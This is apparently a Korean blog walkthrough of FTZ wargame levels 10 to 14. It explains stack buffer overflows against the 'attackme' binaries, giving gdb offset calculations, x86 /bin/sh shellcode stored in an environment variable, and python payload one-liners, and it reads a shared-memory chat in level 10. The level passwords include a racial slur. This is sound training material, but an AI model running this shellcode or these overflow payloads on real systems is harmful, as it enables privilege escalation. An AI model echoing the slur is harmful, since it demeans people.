ID : level14

password : what that nigga want?

 

1) 역시 코드를 하나 알려준다.

어떤지, level13 이랑 비슷해 보인다.

문자열을 입력받아 , 20 크기의 buf 에 45만큼 할당을 하고, ( 오버플로 발생 )

check 와 0xdeadbeef 가 동일하면, 다음 권한의 쉘을 출력해 준다.

 

11, 12, 13 을 통해 연습했으니 풀어보도록 하자.

 

2) intel 코드로 어셈블리어 변환을 한 결과,

buf 로 부터 sfp 까지의 거리는 56 이다,

또한 , check 변수로부터 sfp 까지의 거리는 16임을 확인할수 있다,

 

따라서 

 

buf 부터 check 까지의 거리는

56 - 16  = 40 이다,

 

이를 그림과 같이 표현하면 

이렇게 될것이다.

모든 준비는 끝났으니, 11 , 12 , 13 과 같이 환경변수를 저장하고

해당 주소를 ret 에 넣도록 하자.

 

3) 다음과 같이 입력하고, my-pass 를 입력하면

 

4) 비밀번호는 

"quess what"

ID : level13

password : have no clue

 

1) hint 파일의 내용은 다음과 같다.

argc 의 크기가 1초과 , 즉, 2 이상이 되어야 

strcpy로 오버플로를 발생할수 있다는 이야기,

 

2) GDB 명령어를 통해 어셈블리어로 변환을 해보면,

다음과 같다.

16진수 418 을 10진수로 변환하면 

1048 이고, 문제에서 buf의 크기는 1024 이므로, 

buf[1024] + dummy[24] +sfp[4] + ret[4] 

가 된다, 

 

11, 12 문제와 마찬가지로, 쓰레기값을 채워주고, ret 에 환경변수 주소를 넣어주면 될것이다.

 

3) 먼저 환경변수를 생성해 준다, 

 

그리고 해당 환경변수의 주소를 알수있는 코드를 작성!

 

4) vi 편집기를 열어 해당 코드를 저장하고 컴파일 수행,

 

5) 해당 환경변수의 주소는

0xbffffc90 이다!

 

6) 실행을 하니

Buffer Overflow !!!

라는 문장이 출력되었다

 

코드를 다시보면

i 가 1234567 과 일치하지 않으면, 해당 문자열을 출력한다,

결국 1234567이 되도록 문자열의 인자값을 전달해 주어야 한다.

 

7) 어셈블리어를 다시 확인해 보면 이부분이 if 문인것같다.

0x1234567 과 0xffffffff4 를 비교하는걸로 보아

변수 i 의 주소는 0xfffffffff4 임을 추측할수 있다.

 

이를 쉽게 보기 위하여 intel 코드로 다시 변환하면

8) intel 코드로 변환하면 위와 같다,

 

계산을 해보면,

buf 변수에서 sfp 까지의 거리는 1048 이다,

그리고 변수 i 는 ebp-12 로 표기 되어 있으므로,

i 부터 sfp 까지의 거리는  12 임을 알수있다, 

 

그럼 buf 에서 i 까지의 거리는

1048 - 12 = 1036 

 

1036 이 변수 i 까지의 거리이고, 

변수 i 는 01234567 이 저장되므로 4byte 가 된다,

 

buf 의 크기는 1024, buf 부터 i 까지의 거리는 1036 이므로,

buf 와 i 사이의 dummy 크기는 12 ,

 

변수 i 와 sfp 사이의 거리는 12 이고, i 는 4byte 이므로, 

i 와 sfp 사이의 dummy는 8byte 가 된다, 

 

이를 그림으로 표현하면,

 

이와 같이 된다,

 

그럼 , 

./attackme `python -c 'print "a"*1036+"\x67\x45\x23\x01"+"a"*12+"환경변수 주소값" 

을 입력하면 다음 레벨로 갈수있는 권한이 열릴것이다.

 

9) 다음 비밀번호

"what that nigga want?"

ID : level12

password : it is like this

 

1) 11단계와 비슷하게 생긴 힌트이다.

다른점은 문장을 입력받아, 해당 문장을 다시 출력하게 된다. 

딱봐도 overflow 문제인것 같다. 256 문장이 넘어가는 선에서 오버플로를 발생시키면 될것이다.

해당 메모리의 크기를 알기위해 gdb 를 사용해 어셈블리어 로 변환 해보자

 

2) level11 과 굉장히 비슷하다

이렇게 되어 있으므로, 입력 받는 부분에 268을 채운후, RET에 환경변수의 주소를 가리키면 될것이다.

 

 

3) 

환경변수 등록 및 주소 알아내는 방법은

https://ai-hong.tistory.com/23

 

F.T.Z - level11

ID : level11 password : what!@#$? 1) 11단계도 마찬가지로 cat 명령어를 통해 hint 파일을 열어보았다. 단순 코드로만 되어있는 힌트이다. main 함수가 실행되면, 3092 권한을 얻고 argv 배열의 내용을 str 변..

ai-hong.tistory.com

 

를 참조하도록한다. 모든 과정이 동일하다.

 

4) 이후, 해당 주소값을 알아 내었으니 , 동일한 방법으로 attackme 를 사용하자, 

하지만, 입력값을 직접 받아야 하므로, 해당 문자열은

파이프라이닝 을 통하여 인자를 전달 하도록한다.

 

5) 이렇게

(python -c 'print "A"*268+"\x15\xfc\xff\xbf"';cat) | ./attackme

를 입력하여, 인자를 전달하면 이와같이 뜬다.

 

6) 여기서 my-pass 를 입력하면 level13진입 완료

 

암호는

"have no clue"

 

ID : level11

password : what!@#$?

 

1) 11단계도 마찬가지로 cat 명령어를 통해 hint 파일을 열어보았다.

단순 코드로만 되어있는 힌트이다.

main 함수가 실행되면, 3092 권한을 얻고 argv 배열의 내용을 str 변수에 복사하여,

str 의 내용을 출력하게 된다.

 

일단, level12 권한의 파일을 찾아보자

 

2) attackme 파일이 12레벨 권한이 걸려있음을 알수있다.

일단 실행해 보자

 

3) Segmentation fault 라는 문구가 뜬다.

 

그럼 힌트에 있던 코드를 복사하여

프로그램을 만들어 보자!

 

4) cat 명령어를 사용해 해당 코드를 저장하고 

이제 컴파일을 해준다.

 

5) gcc 명령어를 통해서 컴파일을 해준다.

 

이제 해당 프로그램을 실행해 보자

 

6) 해당 프로그램을 실행하여도 세그멘테이션 오류가 뜬다.

구글링을 통해 해당 세그멘테이션 오류에 대해 알아보았다.

 

출처 : https://doitnow-man.tistory.com/98

* 세그멘테이션 오류의 정의

 

7) 해당 코드에 입력되는 값이 없어 발생하는 오류이므로,

코드를 간단하게 수정해 보았다. 

다시 컴파일을 해준후 실행 해 보도록한다.

 

 

* 실행해도 아무반응이 없다. 

or 만 출력될뿐..

 

이 방법이 아닌거 같아 결국 구글링을 해 보았다

문제는 strcpy 를 보아 BOF공격을 해야하는것으로 보였다.

 

8) 일단 gdb 명령어를 통해 attackme 파일을 어셈블리어로 변경후 코드를 살펴보았다.

스택 포인터 에서 16진수 108을 빼는 것을 확인해보자.

해당 코드에서 str 변수에 할당된 크기는 256이다,

108 을 10진수로 변환하면, 264 가 된다.

256  + 8 ..     8byte가 dummy(쓰레기값)으로 할당된것을 확인할수 있다.

 

해당 구조는 다음과 같다.

 

또한, main+9 라인을 보면 8바이트를 추가적으로 빼주는것을 확인할수 있다.

메모리 구조상 보게되면,

SFP 와 RET 가 4 바이트씩 할당된것을 확인할수 있을것이다.

* SFP : 실행될때, 이전 BP 의 주소

* RET : 돌아갈 주소 ( return )

 

따라서 메모리 구조는 

이렇게 표혀할수 있다.

 

이제 이론적으로 접근해보면, str에 변수 256을 넘어서

오버플로우를 발생시켜 RET에 실행될 쉘 코드를 넣어주면 권한 12을 뚫을수 있을것이다.

256 + 8 + 4 + 4 = 272 byte가 된다.

 

그럼 , 할당되는 변수에 오버플로를 발생시키기 위하여, 

256 + 8 + 4 까지의 값을 아무거나 채워주고 , 나머지 4바이트 ( return )에는 권한을 뚫을수 있는 쉘 코드를 입력하면 될것이다.

 

일단, 쉘코드를 알아보자

shell_code: 

\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

 

해당 코드는 bash 쉘을 띄워주는 코드이다.

이 코드를 어딘가에 등록한후, RET값에 이 주소를 호출하면 12권한의 레벨이 뚫릴것이다.

 

해당 쉘 코드를 환경변수에 등록후 , 해당 환경변수의 주소를 불러오도록 하자.

 

9) 일단 export 명령어를 사용하여 해당 환경변수 목록을 확인해 본다.

 

10 ) export 명령어를 통해 해당 쉘 코드의 환경변수를 저장한다.

 

export HACKER=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

 

11) 다시 export를 입력하면 저장한 환경변수를 확인할수 있다.

 

이제 해당 환경변수의 주소값을 알아내는 간단한 코드를 짜야한다.

 

12) 위와 같은 코드를 입력하고, 컴파일후 실행해 보자

 

13) 해당 환경변수의 주소는

0xbfffff00 이다!

 

이제 이를 ret 에 할당하면 된다!

 

14) 위처럼, 아무 문자나 268 자리를 채워주고, ret 가 되는 4바이트에는 환경변수의 주소를 할당하도록 하니

level12의 쉘이 출력되었다!

 

15) id 명령어를 사용 하여도 level12 권한을 획득한것을 알수 있다.

 

16) my-pass 명령어를 사용하여 다음 관문의 패스워드를 알아냈다.

 

"it is like this"

ID : level10

password : interesting to hack!

 

1) ls 명령어를 통해 내용을 파악하고 hint 파일을 열어 문제를 확인한다.

 

* 공유메모리 : 여러 프로세스 들이 동시에 접근할수 있는 메모리

 

* 자세한 내용 : http://forum.falinux.com/zbxe/?mid=C_LIB&document_srl=423456

 

C 라이브러리 함수 - shmget() 공유 메모리 생성

 

forum.falinux.com

2) program 디렉토리가 의심스러워서 이동하려고 했으나

접근권한 거부를 당했다..

 

그럼 저 디렉토리에 공유메모리를 사용하는것이 있다는 소리가 될것이다.

3)

일단 공유메모리에 대한 정보를 출력하기 위해 ipcs 를 입력하면 공유 메모리에 대한 내용이 출력된다.

비밀번호는 7530 이며, 

크기는 1028 

허가권은 666으로 지정되 있음을 알수있다.

 

이에, 공유메모리에 접근할수 있도록 간단한 c 코드를 작성하도록 한다.

 

4) shmget 함수는 공유메모리를 요청하게 하는 함수이므로 중요한 인자값이 key 값인데, 문제에서 이미 알려주었으니 그대로 입력하면 된다.

shmat 함수를 통해 공유메모리를 사용 가능하도록 지정한다.

 

5) 컴파일을 수행한후 내용을 확인한다.

 

이후, chat 프로그램을 실행하면

 

6) 대화내용에서 비밀번호가 나오게 되었다.

 

"what!@#$?"

 

+ Recent posts